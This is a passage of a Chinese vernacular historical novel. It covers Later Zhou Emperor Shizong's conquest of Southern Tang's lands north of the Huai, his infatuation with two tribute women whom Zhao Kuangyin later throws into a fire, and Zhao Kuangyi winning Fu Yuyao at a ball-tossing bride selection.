唐军见主将被俘,顿时乱作一团,四散奔逃。朱元见形势不妙,连忙率领残兵弃营而逃,沿着淮河往下游跑。王环率领水军顺流而下,一路追杀,喊杀声震天动地。齐王李景达听说唐军大败,杨守忠被俘,吓得不敢迎战,连忙和陈觉弃船上岸,一路逃回金陵。 世宗亲自率领骑兵,和众将沿着淮河两岸追杀唐军。唐军士兵慌不择路,掉进河里淹死的就有两万多人。周军大获全胜,缴获的战船、粮草、盔甲不计其数。世宗率领大军回到营寨,下令犒赏三军。 第二天,世宗分兵几路,攻打泰州城。刘仁赡听说援兵大败,病情更加严重,躺在床上连说话的力气都没有了。监军周廷构看着城下密密麻麻的周军,心里急得像热锅上的蚂蚁,连忙找左骑都指挥章全商议:“如今刘将军病重,不能理事,城里的粮草早就断了,百姓们都快饿死了。要是再不投降,恐怕会发生民变,到时候就更糟了。你看怎么办?” 章全叹了口气:“我们死守城池,本来就是为了百姓。如今形势已经这样了,不如开城投降,免得百姓再受苦。”两人商议好后,就伪造了一份刘仁赡的降表,又让人把刘仁赡扶起来,架着他来到城门口,打开城门投降。 世宗亲自来到营中,慰问刘仁赡。刘仁赡低着头,一句话也不说——他是唐臣,如今却成了周军的俘虏,心里又愧又恨。世宗很欣赏他的忠义,赏赐了他很多金银绸缎,又让人把他送回城里养病。刘仁赡却不肯接受赏赐,让人把赏赐送了回去,自己回到府中,躺在床上不吃不喝。 世宗下旨,赦免了泰州所有的囚犯,又下令让那些因为躲避战乱、逃到山林里的百姓都回家种地。要是百姓们有什么困难,就让地方官一一上报,朝廷会派人解决。世宗还下旨封刘仁赡为天下节度使兼中书令,可刘仁赡还是不肯接受。当天晚上,刘仁赡就在府中去世了。世宗追封他为彭城郡王。 南唐后主听说刘仁赡去世的消息,心里很是悲痛,追赠他为太师。世宗又把清淮军改名为忠正军,用来表彰刘仁赡的忠义。后人有诗赞道: 死守孤城心不移,兵尽粮绝病缠身。 唯有此公真无愧,千古美名传天下。 泰州被围困了两年,百姓们早就断了粮,世宗下旨打开寿州的粮仓,赈济饥民。百姓们拿到粮食,都高兴得欢呼雀跃,纷纷称赞世宗是明君。 四月,世宗率领众将进攻濠州。濠州守将黄天祥听说周军来了,连忙率领三千士兵出城迎战。两军在城外摆开阵势,周军阵中的刘俊提着刀,对着唐军喊道:“唐将识相的就赶紧打开城门投降,免得丢了性命!” 黄天祥气得大骂:“你们这些贪心不足的家伙,又来攻打我们的城池!”说完,提着长枪就冲了出去。刘俊也不含糊,挥刀迎战。两人打了没几个回合,东边突然传来一声炮响——赵匡胤率领一队人马,突袭了黄天祥的水寨,一把火点燃了战船。顿时,火光冲天,浓烟滚滚,整个水寨都成了一片火海。 黄天祥见水寨被烧,心里一慌,再也无心恋战,拨转马头就往城里逃。李重进和刘俊率领大军紧紧追赶,又和赵匡胤的人马汇合,水陆夹击濠州城。黄天祥抵挡不住,只好率领残兵退守羊马城。 赵匡胤攻占濠州后,连忙迎接世宗入城。他又对世宗说:“陛下,唐军如今已经溃不成军,咱们乘胜追击,很快就能打到金陵,活捉唐主,平定南方。您就不用亲自上阵了,免得有危险。您在濠州坐镇,我和李将军率领大军去攻打金陵,定能早日凯旋。” 世宗大喜:“好!就全靠二御弟和众将了!”赵匡胤和李重进当即率领大军,攻打羊马城。羊马城的守军听说周军要来,都吓得惶惶不可终日。 当时,南唐水军元帅江显明率领几百艘战船,在涣水东岸扎营。他听说濠州失守,正准备率领水军去支援,就见黄天祥率领残兵逃了过来,哭丧着脸说:“江元帅,周军太厉害了,咱们根本抵挡不住!” 江显明皱着眉说:“黄将军,你先别急。咱们在涣水南岸摆开水阵,抵挡周军,我再派人去金陵向陛下求救,这样就能阻止周军前进了。”黄天祥连忙点头,和江显明一起在涣水南岸扎下两座营寨,又把战船摆成一排,横在涣水上,防守得严严实实。 赵匡胤率领大军来到涣水岸边,看着唐军的水阵,心里暗暗琢磨。他找来步军使高琼,商议道:“唐军靠着涣水摆阵,就是觉得我们过不去。你带一千士兵,沿着河岸绕到他们的营寨后面,等到明天黄昏,就放一把火。他们的营寨一着火,水军肯定会慌乱,到时候我率领大军从正面进攻,定能大获全胜。”高琼领命而去。 第二天午后,赵匡胤率领大军来到涣水岸边,下令让弓箭手对着唐军的水军射箭。唐军士兵躲在战船里,不敢出来迎战。周军趁机渡过涣水,直奔南岸的营寨。黄天祥见周军冲了过来,吓得魂飞魄散,连忙率领士兵迎战。他刚冲到赵匡胤面前,没打几个回合,就被赵匡胤打得落荒而逃。 这时,天色渐渐暗了下来,突然听到唐军阵中传来一声炮响,紧接着就燃起了熊熊大火——高琼率领士兵,在唐军的营寨里放了火。当时正好刮起了大风,火势越来越大,很快就把整个营寨都烧了起来。唐军士兵乱作一团,互相踩踏,死伤无数。 江显明见营寨着火,连忙率领士兵弃营而逃,可刚跑出去没几步,就遇到高琼率领的士兵。江显明心里一慌,拨转马头就想跑,没想到战马突然失了前蹄,把他掀翻在地。高琼趁机冲上去,一刀把他斩成了两段。唐军士兵见主将被杀,纷纷放下武器投降。 高琼和赵匡胤汇合后,又率领大军追赶黄天祥。黄天祥知道自己逃不掉了,抽出腰间的宝剑,长叹一声:“我身为南唐将领,不能守住城池,还有何面目见陛下?”说完,就自刎而死。唐军的水军见主将都死了,要么投降,要么逃走,很快就散了。 赵匡胤大获全胜,威名远扬,附近的南唐守军都吓得不敢迎战。他和李重进汇合后,率领大军直奔泗州,分兵几路攻打泗州城。泗州守将范载知道自己抵挡不住周军,只好打开城门投降。 赵匡胤进入泗州城后,立刻下令:“士兵们不得抢夺百姓的财物,不得骚扰百姓,要是有人违反,定斩不饶!”士兵们都不敢违抗命令,整整齐齐地进城,百姓们见周军纪律严明,都很高兴。正所谓: 王师所到施仁政,百姓安居乐业常。 十一月,赵匡胤率领大军攻打通州。通州守将郭延召集部将孙信等人商议:“周军势头正盛,咱们根本不是对手,不如投降,还能保住性命和百姓。”众将都表示同意,只有参军李廷邹站出来反对:“将军,您和孙将军都是南唐的老将,深受陛下的恩惠。通州城城墙坚固,粮草充足,咱们完全可以守住城池,和周军周旋,尽到臣子的本分。怎么能不战而降,做这种不义之事呢?”

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赵匡胤见到世宗后,奏道:“陛下,楚州守将张彦卿很得民心,百姓们都愿意跟着他死守城池,所以咱们一时半会儿攻不下来。不过我听说城里的粮草已经快用完了,我和李将军再率领大军攻打几天,一定能攻破楚州。” 世宗点点头:“好!你们尽管放手去干,只要能攻破楚州,朕一定论功行赏,绝不亏待你们!”赵匡胤领命后,当即和李重进分兵几路,攻打楚州城。将士们士气大振,拼命攻城。从早上打到中午,楚州城的西北角终于塌了一个缺口。 曹英身先士卒,手里拿着鸾牌,提着剑冲了上去,对着守城的唐军乱砍。周军士兵见状,纷纷跟着冲了上去。唐军抵挡不住,只好退下城墙逃命。曹英打开西城门,周军士兵蜂拥而入,城里顿时乱作一团。 张彦卿见周军攻进了城,连忙和都监郑招业率领士兵抵抗。郑招业率领一队士兵冲向南门,正好遇到李重进。李重进二话不说,一刀就把郑招业劈落马下,然后率领士兵往东门杀去。 张彦卿见大势已去,仰天长叹:“我身为南唐将领,不能守住城池,只能以死报国了!”说完,就拔出宝剑自刎而死。他手下的一千多名士兵见主将战死,也都纷纷自杀,没有一个人投降。后人有诗赞道: 死守坚城志不移,恩待部下众相随。 天命已去身殉国,义比田横永流传。 赵匡胤攻占楚州后,和李重进一起率领大军屯扎在城外,迎接世宗入城。世宗下旨出榜安民,又打开粮仓赈济百姓。此时的周军势如破竹,所到之处,南唐守军无不投降。 消息传到金陵,唐主吓得饭也吃不下,觉也睡不着,像坐在针毡上一样。他既不想投降,又知道自己抵挡不住周军,只好召集大臣商议。最后,他决定把皇位传给太子李弘冀,自己则派人带着降表去见世宗,向周朝称臣。 当时,南唐还剩下庐州、舒州、蕲州、黄州四个州没有被周军攻占。唐主在降表里表示,愿意把这四个州献给周朝,请求世宗停止进攻。世宗看完降表后,对大臣们说:“朕本来只想夺取江北的土地,如今唐主愿意投降,朕也不想再打仗了。” 世宗当即给唐主写了一封回信: 大周皇帝致唐主:朕率领大军出征,并非为了抢夺土地、残害百姓,而是为了天下一统,让各国守住自己的疆域,安抚百姓,让大家永远享受太平。如今两国刚刚通好,其他的话就不多说了。 唐主接到回信后,心里总算松了一口气,连忙又派使者带着礼物去见世宗,感谢世宗的宽恕。使者带来的降表里写道: 唐国主臣李谨叩拜皇帝陛下:臣派使者陈觉带着降表去拜见陛下,承蒙陛下下旨停止战争,允许两国通好,让小国能沐浴陛下的恩德,臣感激不尽。臣愿意献上江北的四个州,每年向周朝缴纳一百万缗银子,作为朝廷的费用。臣冒死上奏,等待陛下的赦免。 世宗看完降表后,大臣们都纷纷上前祝贺。至此,江北地区全部平定,周朝一共得到了十四个州、六十个县。世宗又给唐主写了一封信,说:“从今以后,朕不会再发动战争了,你也不用把皇位传给太子了。”世宗还赏赐了钱弘俶、高保融等人几十万钱帛,作为犒劳军队的费用。 唐主又派平章冯廷率领人马来见世宗,献上二百万银钱、茶叶、粮食等物资,犒劳周军。世宗对冯廷很客气,赏赐了他很多东西。冯廷回到金陵后,向唐主称赞世宗的仁德,唐主从此彻底臣服于周朝。后人有诗赞道: 大将南征举战旗,敌国投降建功奇。 欲知边境百姓苦,连年烽火望眼迷。 世宗见南方平定,心里很高兴,下令大军班师回朝。将士们听到这个消息,都欢呼雀跃。第二天,大军拔寨起行,返回京城。正所谓: 天子早已备好麟阁,等待功臣名留青史。 世宗回到汴京后,开始论功行赏,分封爵位,犒劳三军,还在宫里摆了庆功宴,招待功臣。从此以后,君臣们都专心治理国家,百姓们安居乐业,再也不用打仗了,天下渐渐出现了太平的景象。 有一天,世宗在处理公文时,发现了一块三尺长的木简,上面写着“检点作天子”五个字。世宗心里很惊讶,不知道是谁放在这里的。当时,张永德担任殿前都检点,世宗心里怀疑他,就下令让赵匡胤代替张永德,担任殿前都检点。 显德六年,世宗下令调回征伐后蜀的将领王景、向训等人。就在这时,有大臣上奏说:“昨夜,枢密使昌邑侯王朴去世了。”世宗听到这个消息后,亲自去王朴家里吊唁,痛哭了好几天,悲伤得不能自已。他仰天长叹:“难道上天不想让朕把国家治理好吗?为什么这么快就把王朴夺走了?”世宗下令按照王侯的礼仪安葬王朴,文武百官都去送葬。汴京的百姓们因为感念王朴平时爱民如子,都纷纷去祭奠他,还罢市三天,就像自己的亲人去世一样悲伤。后人有诗赞道: 精通术数辅佐皇家,辅佐新君谋略深远。 正值天下太平却离世,百姓千古都在叹息。 再说唐主臣服周朝后,和大臣们商议向周朝进贡的礼仪。宋齐邱上前奏道:“从前后汉皇帝登基时,陛下曾经献上几十名歌女,才避免了几年的战乱。如今咱们商议进贡的礼物,也可以献上几个美貌聪明的女子,这比献上金银珠宝更有用,还能让咱们江南地区永远平安。” 唐主犹豫道:“我看世宗是个英明的君主,和一般的皇帝不一样。要是他不接受这些女子,咱们不仅白费功夫,还会得罪他,这可怎么办?” 宋齐邱笑着说:“陛下,爱美之心人皆有之。后汉皇帝也是英明之主,不也接受了歌女吗?您就放心吧,赶紧选女子送去,肯定不会有问题的。”唐主觉得宋齐邱说得有道理,就下令让宦官去挑选美女。 宦官领命后,在宫里挑选了两个美女,一个叫秦若兰,一个叫杜文姬。唐主见这两个女子长得容貌出众,气质不凡,就任命礼部尚书王崇质为使者,让他带着这两个美女去汴京进贡。 王崇质领命后,准备好了车马,当天就离开金陵,前往汴京。世宗听说唐主派使者来进贡,还带来了美女,就下令让王崇质进宫见驾。王崇质在殿前跪下,奏道:“小臣奉我主之命,献上两名美女,供陛下闲暇时娱乐。她们现在就在宫门外,等待陛下的旨意。” 世宗下旨让两个美女进宫。秦若兰和杜文姬跪在殿前,不敢抬头。世宗仔细打量着她们,见她们确实有倾国倾城之貌,就问她们的名字。王崇质连忙回答:“回陛下,这两位女子,一位叫秦若兰,一位叫杜文姬。” 世宗很高兴,说:“名字和容貌一样美,很合朕的心意。”说完,就下令把她们送到御乐院。就在这时,赵匡胤从大臣队伍里走出来,奏道:“陛下,您是英明圣德的君主,专心治理天下,不能接受外国送来的美女。要是接受金银绸缎,还能用来供给朝廷、犒劳军队;要是接受美女,外国的人会说陛下是好色的君主,以后肯定会有更多人送美女来,到时候陛下就会沉迷享乐,荒废朝政,损害圣德。这件事万万不可,还请陛下三思!” 世宗皱了皱眉,说:“朕自有办法处理,不用二御弟担心。”说完,就没有听从赵匡胤的劝谏,还设宴招待王崇质。席间,世宗问王崇质:“你主最近还在训练军队、修整武器吗?” 王崇质连忙回答:“自从臣服天朝后,我国上下都安心治理百姓,再也没有训练军队、修整武器了。” 世宗点点头:“你说得很对。朕之前率领大军攻打南唐,是因为两国是敌人;如今两国已经成为一家,朕和你主的情义已经确定,不会再有战事了。但是人心难测,等到后代,事情就不好说了。你回去告诉你主,要好好修整城池、训练军队,为子孙后代做打算。” 王崇质连忙叩拜受命,然后离开汴京,返回金陵。他把世宗的话告诉了唐主,唐主很感激世宗的提醒,就下令让守城的官员修整破损的城墙,增加兵力薄弱的地方的守军,还整顿了军队。 再说世宗自从接纳了秦若兰和杜文姬后,每天都召她们进宫陪伴,白天让她们吹弹歌舞,晚上则和她们一起享乐。他沉迷于美色,连续好几天都不上朝,所有的朝政都交给范质和王溥处理。范质和王溥心里很不安,担心世宗会因此荒废朝政,就约了其他大臣,一起去赵匡胤府上商议军国大事。 没想到这次商议,却引发了一场改变朝政的风波——大臣们决心要劝谏世宗,让他放弃享乐,重新专心治理国家,让天下恢复太平。正是: 披甲上阵的日子已经过去,穿上朝服治理天下才是新的开始。 到底大臣们商议了什么,又会如何劝谏世宗?且看下回分解。 60. 第 60 章 话说周世宗柴荣自从得了南唐送来的那班女乐,整个人像被抽走了魂魄似的,日日泡在酒池肉林里,朝政早就抛到了九霄云外,一天比一天懈怠荒唐。朝中大小事务,全靠范质和王溥两人决断。这两人看着朝堂日渐混乱,心里又忧又怕,私下约了文武百官,一起到赵匡胤府上商议对策。 范质先开口,语气里满是焦虑:“如今主上正值壮年,却迟迟不立太子。又收了南唐的贡品,就沉湎在酒色里,好些天不上朝了,这哪是治理国家的样子啊!赵将军您是国家的重臣,不知有没有什么好办法,能让主上回心转意,端正治国之心?” 赵匡胤叹了口气,眉头皱得紧紧的:“我正想找各位商议这事,没想到各位先来了,足见你们对朝廷的忠心。这样,明天我跟各位一起进宫面圣,联名上奏,看看主上是什么态度。”群臣听了都松了口气,纷纷点头称是,随后各自散去,只盼着明天能劝动世宗。 第二天一早,赵匡胤领着文武百官进宫,到内殿拜见世宗。赵匡胤率先出列,躬身奏道:“陛下正值壮年,可太子之位一直空着;您又日日沉迷享乐,这事关江山社稷,可不是小事啊!臣等冒着死罪进言,恳请陛下早日立皇子为东宫太子,不辜负朝野上下的期望;同时远离美色,专心治理朝政,让陛下的圣德传扬天下。这样,不仅是天下百姓的福气,也是臣等的福气啊!” 世宗听了,却有些不以为然,皱着眉道:“功臣们的儿子都还没得到恩赏,要是先给我的儿子封爵立储,他们心里能安稳吗?” 赵匡胤赶紧接话,语气恳切:“臣等蒙受陛下的厚恩,已经得到太多宠幸了,哪里还敢奢望子孙再受爵位?恳请陛下听从群臣的劝谏,为国家的长远打算啊!” 世宗见群臣个个态度坚决,眼神里满是期盼,也不好再推辞,只好下旨,封皇子柴宗训为梁王,册立为东宫太子。当时梁王才七岁,却生得比同龄孩子聪慧不少,一双眼睛透着机灵劲儿。群臣连忙跪地谢恩,刚想接着劝世宗别再沉迷享乐,没想到世宗已经露出了厌烦的神色,挥了挥手让大家先退下。群臣只好叩拜辞行,一个个垂头丧气地走出宫,心里都清楚,这事还没完。 可世宗哪里听得进劝?依旧天天沉迷酒色,把朝政扔在一边不管。没过多久,他又下令在内苑里盖一座楼,取名“赏花楼”,还让教练使冯益负责监工。冯益捧着旨意,心里又喜又怕——喜的是这差事办好了能得重赏,怕的是楼盖得太铺张,万一群臣弹劾,自己要背锅。可转念一想,世宗现在眼里只有享乐,哪顾得上这些,索性放开手脚,找了最好的工匠,用了最华贵的材料,没到一个月,赏花楼就盖得富丽堂皇,气派非凡。这楼到底有多好?有一首《西江月》词专门描述: 彩绘的栋梁仿佛要飞到云里,精雕的房梁看着崭新夺目。屋檐翘角高高翘起,像是要碰到青天,上面的锦绣装饰让人忍不住称赞。楼里摆满了奇珍异宝,吹拉弹唱的乐器一应俱全。君王从此天天在这里享乐,对着美人喝着美酒,好不快活。 工程一完工,冯益就赶紧进宫复命。世宗听了大喜,当场赏了冯益不少金银绸缎,随后就带着杜文姬、若兰两位美人,兴冲冲地去了赏花楼。他在楼里摆了宴席,和两位美人一边喝酒,一边赏景,快活似神仙。没过几天,他又下了道圣旨,让文武百官各自献上奇花异草,种在内苑里。 这道圣旨一下,那些忠臣良将心里都不痛快,个个愤愤不平——如今边境还不安稳,百姓还有冻饿的,主上不想着治国安民,反倒折腾这些没用的!可那些想靠献媚往上爬的官员,却像得了宝贝似的,不惜花重金四处搜罗奇花,争先恐后地进宫献上。有人为此写了首诗感叹: 奇花异草本不值得追求,君主贪淫误政才是真忧愁。 继位的太子年幼柔弱难以支撑,陈桥驿的兵变,从这里就有了缘由。 再说郑恩,之前生了场病,刚痊愈没多久,就听说了世宗盖楼、让百官献花的事。他性子急,一听就炸了,立马起身去见赵匡胤,进门就大声道:“二哥!如今主上不管朝政,天天跟美人鬼混,要是外邦知道了,趁机来打咱们,百姓又要遭殃了,这可怎么办啊!我跟你一起去苦劝主上,不能眼睁睁看着朝廷乱下去!” 赵匡胤皱着眉,叹了口气:“不是我不想劝,可主上根本听不进去,你有什么办法?” 郑恩琢磨了一会儿,眼睛一亮:“我听说圣上让百官献花,咱们不如借着献花的名头,在花里藏着劝谏的意思,说不定能起点作用呢?” 赵匡胤点点头:“这办法不错,就这么办。” 到了百官献花那天,大臣们一个个捧着花盆进宫,赵匡胤和郑恩也跟着去了内苑,径直走向赏花楼。此时世宗正和两位美人喝得酣畅,见赵匡胤来了,笑着问道:“二御弟也来献花了?” 赵匡胤躬身回道:“陛下下了旨,臣等怎敢违抗?” 世宗又问:“你献的是什么花?” 赵匡胤从随从手里接过一盆梅花,捧着走到世宗面前,轻声道:“这是江南的第一枝梅花。” 世宗让太监把梅花接过来,放在桌上的花瓶里,又好奇地问:“这梅花为什么能称得上‘第一’?” 赵匡胤趁机奏道:“这梅花能在寒冬里独自开放,花香清幽,花色洁白,不跟其他花草争奇斗艳,所以称得上第一。臣还为这梅花写了首诗,想读给陛下听。” 世宗来了兴致,点头道:“好,你读吧。” 赵匡胤清了清嗓子,缓缓吟道: 一夜东风特意吹拂,本无心思争夺春日的魁首。 年年都为南枝传递春的消息,不许其他花草来做伴。 世宗听了,连连称赞,又转头对杜文姬说:“你也来吟首诗,赞美这梅花吧。” 杜文姬起身行礼,柔声吟道: 梅花枝上的雪刚刚融化,一夜寒风让它占据了东风的先机。 池塘边的花草还被冰雪覆盖,柳条却已像丝线般,染上了春日的生机。 世宗听了杜文姬的诗,更是高兴,不停地夸赞。就在这时,郑恩大步流星地走上楼来,大声道:“臣也有花要献给陛下!” 世宗让左右把花拿过来,一看,居然是一枝干枯的桑树枝,忍不住笑了:“这是枯桑啊,三御弟你献它有什么用?” 郑恩攥着桑枝,梗着脖子道:“臣献这花,跟别人的不一样!汴京城的百姓要是没了桑树,多少人要冻饿而死——桑树能养蚕织布,桑葚能当粮食,这枯桑看着不起眼,却是百姓的活命根啊!臣也有首俗诗,想吟给陛下助助兴。”说着,就大声吟道: 竹篱笆外能看见梅花,旁边全是寻常的酒家。 可汴梁城外那十万顷桑田,春风一吹,哪棵桑枝不发芽? 世宗听了,脸上的笑容淡了些,但还是勉强装出高兴的样子,赏了赵匡胤和郑恩酒食。两人喝了几杯,就站在栏杆边,看着底下官员们络绎不绝地献花。一直等到傍晚,世宗才对他们说:“你们到现在还没回去,是不是有别的事要跟我说?” 赵匡胤趁机上前,语气沉重:“臣等见陛下好些天不上朝,朝政都快荒废了,所以冒着死罪进言,恳请陛下别再在这儿沉迷享乐,赶紧回宫处理国事,这样江山才能安稳啊!” 世宗却不高兴了,皱着眉道:“我以前天天打仗,就没好好歇过。如今好不容易有了空闲,跟两位美人赏玩一会儿,不过是图个乐子,怎么就说我荒废朝政了?再说,人活在世上,就像野草上的尘土,能快活几天?现在天下还算太平,你们也该跟亲朋好友多聚聚,好好享受日子,别天天拿这些琐事来烦我!” 郑恩急了,大声道:“陛下要是不听我们的劝,迟早要出大事,到时候后悔都来不及!” 世宗脸色一沉,不再说话,甩着袖子走进了内室。 赵匡胤和郑恩走出宫门,私下议论起来。郑恩气呼呼地说:“主上这么荒淫,要是不想个办法,这朝廷迟早要完!” 赵匡胤道:“咱们先去见范枢密,跟他商量商量吧。” 两人来到范质府上,把宫里的事一五一十说了。范质听完,眉头紧锁,沉吟片刻道:“昨天司天监来奏报,说有火星降世,是不祥之兆,主上已经让相关部门举办祭祀消灾。如今之计,咱们不如借着消灾的名义,把赏花楼烧了,说不定能让主上回心转意。” 郑恩一听,拍着大腿道:“这主意好!可千万不能走漏风声!” 第二天,范质偷偷让守宫的军校准备好救火的工具,又跟郑恩约定好时间。快到二更天的时候,郑恩躲在赏花楼附近的暗处,听着宫里的更鼓声越来越近,趁着没人注意,在靠近宫殿的地方点起了火。那天夜里正好刮着东风,火借风势,风助火威,转眼间就烧得漫天通红,整个内苑都被火光照得亮如白昼。 宫官们吓得赶紧跑去报告世宗:“陛下!行宫着火了!”世宗一听,吓得魂都快没了,赶紧跑出来看,只见火势已经蔓延到了赏花楼。郑恩趁机冲上前,大喊道:“陛下快躲开!火要烧过来了!”世宗吓得腿都软了,郑恩赶紧背起他就往外跑。 杜文姬和若兰两位美人吓得又哭又叫,一边跑一边喊救命。就在这时,赵匡胤从旁边转了出来,对着她们喊道:“快过来!我救你们!”两位美人以为遇到了救星,跌跌撞撞地跑过去。可没等她们反应过来,赵匡胤左手夹着若兰,右手提着杜文姬,猛地一甩,把两人扔进了熊熊烈火里。可怜这两位美人,瞬间就被火海吞噬—— 美丽的容颜转眼变成灰烬,娇艳的身躯立刻化为焦炭。 这时,士兵们看到赵匡胤把美人扔进火里,赶紧拿着救火的工具冲上来灭火。等火被扑灭时,刚盖好没多久的赏花楼已经变成了一片焦土。 第二天,赵匡胤领着文武百官进宫,向世宗道贺“灾厄已除”。世宗却没心思高兴,急切地问:“两位美人呢?” 赵匡胤低下头,故作沉痛地说:“昨天火势太大,臣等实在没来得及救,想必已经被烧死了。” 世宗一听,眼泪当场就掉了下来,心里又痛又悔,却也没理由责怪赵匡胤,只好甩着袖子回宫了。群臣见状,也只好各自退下。有人为此写诗感叹: 忠臣到了这份上也让人同情,可为什么要把美人扔进火里呢? 要是陈桥驿没被披上黄袍,千年流传的忠义之名,该归谁所有? 世宗自从被大火吓了一场,又天天想念两位美人,渐渐就病倒了,连朝都上不了。正好镇守边境的节度使韩通要上奏边境事务,听说世宗病了,就进宫探望。世宗跟他说了自己生病的缘由,韩通趁机奏道:“臣听说,昨天的火灾和两位美人的死,都是赵匡胤和郑恩搞的鬼!恳请陛下好好保重龙体,别再为美人伤心了。” 世宗叹了口气:“这事我心里清楚,可赵匡胤和郑恩是我的亲信大臣,我实在不忍心治他们的罪啊。” 韩通只好谢恩退下,回到府里,心里却打起了算盘:“主上要是有个三长两短,朝中就数赵匡胤和郑恩权力最大。他们以前跟我有过节,要是趁机找我麻烦,我可扛不住。”于是他赶紧叫来心腹谋士李智,跟他商量对策。 李智想了想,眼睛一亮:“大人,您的公子还没婚配吧?我听说符太师有个次女,是主上的亲姨,也还没选婆家。您不如趁机进宫,跟主上说要跟符家联姻,将来符娘娘要是能掌权,您就不用怕赵匡胤他们了!” 韩通一听,大喜过望:“这主意太好了!” 第二天,韩通就进宫拜见世宗,把想跟符家联姻的事说了。世宗笑道:“这事我来帮你促成。”当天就召符太师进宫,跟他说了韩通想娶他次女的事。 符太师连忙躬身道:“承蒙陛下开口,臣哪敢违抗?只是小女年纪还小,性子还没定下来,这事能不能再缓一缓,容臣再想想?” 世宗点点头,同意了。韩通和符太师各自辞行出宫。韩通觉得有世宗主婚,这事肯定能成,回去就开始准备聘礼,满心欢喜地等着娶亲。 再说赵匡胤的弟弟赵匡义,这天见冬雪刚停,天气晴朗,在家里待着无聊,就带着几个随从,去东郭门外打猎。走着走着,忽然看见一只喜鹊落在靠墙的梅花枝上,对着他“喳喳”叫了好几声。赵匡义来了兴致,从背上取下弹弓,装上弹丸,瞄准喜鹊射去,正好打中喜鹊的左翼。喜鹊叫了一声,扑腾着翅膀,朝着符太师家的花园飞去了。 赵匡义认识符太师的花园,就让随从在园外等着,自己翻身跳过围墙,进去找那只喜鹊。他刚走了几步,就听见一阵脚步声,抬头一看,只见七八个丫鬟簇拥着一位小姐,从假山后面走了过来。赵匡义来不及躲,只好慌慌张张地闪到旁边的树后,偷偷往外看。 只见那位小姐年纪不大,还没到十五岁,生得眉清目秀,身材窈窕,一举一动都透着优雅。赵匡义心里暗暗惊叹:“这姑娘长得也太好看了!” 这位小姐不是别人,正是符太师的次女符玉瑶。她也是来花园赏雪的,刚走过来,就看见树后藏着个人,连忙让丫鬟喊道:“谁在那里?光天化日之下翻墙进来,难道不怕王法吗?” 赵匡义只好从树后走出来,躬身行礼,不好意思地说:“小姐恕罪,我是赵司空的次子,当朝都点检赵匡胤的弟弟赵匡义。今天出来打猎,不小心用弹弓打中了一只喜鹊,喜鹊飞到了您家花园里,我一时心急,就翻进来了,还请小姐多多包涵。” 符玉瑶见赵匡义长得仪表堂堂,说话又彬彬有礼,心里早就有了好感,刚才的怒气也消了大半。她抿着嘴笑了笑,轻声问:“公子今年多大了?” 赵匡义道:“我今年十九了。” 符玉瑶又问:“那公子……娶亲了吗?” 赵匡义脸一红,摇了摇头。 符玉瑶心里更高兴了,却假装镇定地说:“公子还是赶紧走吧,要是我父亲知道了,恐怕会误会。”说着,让丫鬟打开后花园的门,放赵匡义出去。 赵匡义走的时候,符玉瑶还站在原地,一直看着他的背影,直到看不见了才回过神来,心里暗暗想:“要是能嫁给这样的人,该多好啊。”有人为此写诗: 喜鹊落在符家花园的枝头上,早就预示了这段良缘。 只凭一句话就认出他不是凡俗之人,等着看这段缘分能圆满。 赵匡义出了花园,跟随从会合,骑马回了家。一见到赵匡胤,就把今天在符家花园的事一五一十说了。赵匡胤听完,笑着说:“这是天意啊,让你进园见到了符小姐。”说完,就派人去请范质来府上。 范质来了之后,赵匡胤和他分宾主坐下,喝了杯茶,就把赵匡义误闯符府花园、遇到符小姐的事说了,想请范质做媒人,帮赵匡义求亲。 范质笑着说:“这事容易!符太师的夫人跟我家夫人是远房亲戚,关系很好,明天我就让我夫人去符府说亲,保证能成!” 赵匡胤大喜:“要是这事能成,我一定好好谢你!” 范质告辞后,第二天一早就让夫人郝氏去了符府。郝氏见到符太师和夫人,就把赵匡义想要求亲的事说了。 符太师皱着眉,叹了口气:“赵公子确实是个好后生,这段姻缘也很合适,可问题是,主上之前已经开口,想让我把女儿嫁给韩通的儿子。要是我答应了赵家,岂不是违抗圣意?这可怎么办啊?” 郝氏连忙说:“太师您有所不知,赵公子有大富大贵的面相,而且品德好、有才华,跟韩通的儿子比起来,简直是天差地别。古人说‘选女婿要看品德’,您要是把女儿嫁给赵公子,主上肯定不会怪您的!” 符太师想了想,点头道:“你说的有道理,可韩家先提的亲,我不好直接拒绝。这样吧,我学古人的办法,在城里搭一座彩楼,让小女自己抛彩球选婿,谁接住彩球,谁就是我的女婿。这样一来,两家都不会有怨言了。” 郝氏笑道:“太师这个主意好!”说完,就告辞回府,把这事告诉了范质,范质又赶紧派人去赵家报信。 过了几天,符太师让人在大街上搭了一座高大的彩楼,还派人通知了韩家和赵家,约定好抛彩球的日子。赵匡胤让赵匡义好好准备,赵匡义点点头,带着四五个随从,早早地来到了彩楼下面的天街。 他到的时候,韩通的儿子韩松已经带着几十个家将在那儿等着了,旁边还有不少官家子弟,都想来看热闹,说不定还能捡个便宜。 等了一会儿,就听见彩楼上传来一阵鼓乐声,随后一个管家走到楼边,吟了一首诗: 彩楼高高搭起,一时之间焕然一新,这是天上人间都少有的富贵景致。 告诉各位想要求娶的公子,我家小姐正满怀诚意,等着良缘降临。 管家吟完诗,就站到一边。很快,一群穿着彩衣的丫鬟簇拥着符玉瑶,走到彩楼正中间坐下。符玉瑶抬起头,往楼下看——只见楼下的人都仰着头,眼睛盯着自己,其中彩楼左边站着一个人,穿着华丽,身姿挺拔,一看就气度不凡。那人正是赵匡义: 他戴着一顶官样的黑纱巾,穿着一件青色的紵丝袄,外面套着蜀锦做的披风,腰间系着金线绣的绿带子,脚上穿着黑色的靴子,站在那儿,一举一动都透着潇洒。 符玉瑶一眼就认出了他,心里更高兴了,觉得他今天看起来比上次更英俊。再看彩楼右边的韩松,长得又矮又丑,脸黑得像炭,背还有点驼,虽然穿得也很整齐,却怎么看都不顺眼: 他戴着一顶官样的青丝笠,穿着一件黄褐色的紵丝袍,系着一条绿绒金线绦,脚上穿着黑色的麂皮靴,站在那儿,跟赵匡义比起来,差远了。 符玉瑶把两人看了个清楚,心里早就有了主意。她站起身,从丫鬟手里接过彩球,对着天空拜了拜,然后紧紧攥着彩球,瞄准赵匡义,用力抛了下去。彩球在空中划过一道弧线,正好落在赵匡义手里。赵匡义又惊又喜,翻身上马,带着随从,高高兴兴地往南街去了。 韩松站在楼下,看着彩球被赵匡义接住,脸都黑了,周围的人也都对着他指指点点,小声嘲笑。韩松的随从们也觉得没脸,簇拥着韩松,骑马回了家。 